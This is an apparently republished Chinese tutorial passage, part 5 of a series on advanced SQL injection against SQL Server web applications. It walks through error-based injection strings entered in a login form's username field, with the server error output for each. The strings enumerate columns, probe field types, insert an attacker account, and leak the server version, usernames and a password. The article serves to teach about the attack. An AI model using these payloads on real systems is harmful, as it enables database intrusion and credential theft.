科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网软件频道[Sql server]应用程序中的高级SQL注入(5)

[Sql server]应用程序中的高级SQL注入(5)

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

SQL是一种用于关系数据库的结构化查询语言。它分为许多种,但大多数都松散地基于美国国家标准化组织最新的标准SQL-92。

作者:aspcool 来源:aspcool 2007年9月15日

关键字: 注入 数据库 SQL Server SQL Server 各版本

  • 评论
  • 分享微博
  • 分享邮件

/process_login.asp, line 35

最终攻击者得到了username字段后:

‘ group by users.id,users.username,users.password,users.privs having 1=1—

这句话并不产生错误,相当于:

select * from users where username=''

因此攻击者现在知道查询涉及users表,按顺序使用列'id,username,password,privs'。

能够确定每个列的类型是非常有用的。这可以通过使用类型转化来实现,例如:

Username:' union select sum(username) from users—

这利用了SQLSERVER在确定两个结果集的字段是否相等前应用sum子句。尝试去计算sum会得到以下消息:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.

/process_login.asp, line 35

这告诉了我们'username'字段的类型是varchar。如果是另一种情况,我们尝试去计算sum()的是数字类型,我们得到的错误消息告诉我们两个集合的字段数量不相等。

Username:' union select sum(id) from users—

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.

/process_login.asp, line 35

我们可以用这种技术近似地确定数据库中任何表中的任何字段的类型。

这样攻击者就可以写一个好的insert查询,例如:

Username:';insert into users values(666,'attacker','foobar','0xffff)—

这种技术的潜在影响不仅仅是这些。攻击者可以利用这些错误消息显示环境信息或数据库。通过运行一列一定格式的字符串可以获得标准的错误消息:

select * from master ..sysmessages

解释这些将实现有趣的消息。

一个特别有用的消息关系到类型转化。如果你尝试将一个字符串转化成一个整型数字,那么字符串的所有内容会返回到错误消息中。例如在我们简单的登陆页面中,在username后面会显示出SQLSERVER的版本和所运行的操作系统信息:

Username:' union select version,1,1,1—

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ' to a column of data type int.

/process_login.asp, line 35

这句尝试去将内置的'version'常量转化成一个整型数字,因为users表中的第一列是整型数字。

这种技术可以用来读取数据库中任何表的任何值。自从攻击者对用户名和用户密码比较感兴趣后,他们比较喜欢去从users表中读取用户名,例如:

Username:' union select min(username),1,1,1 from users where username>'a'—

这句选择users表中username大于'a'中的最小值,并试图把它转化成一个整型数字:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'admin' to a column of data type int.

/process_login.asp, line 35

因此攻击者已经知道用户admin是存在的。这样他就可以重复通过使用where子句和查询到的用户名去寻找下一个用户。

Username:' union select min(username),1,1,1 from users where username>'admin'—

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'chris' to a column of data type int.

/process_login.asp, line 35

一旦攻击者确定了用户名,他就可以开始收集密码:

Username:' union select password,1,1,1 from users where username='admin'—

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'r00tr0x!' to a column of data type int.

/process_login.asp, line 35

    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章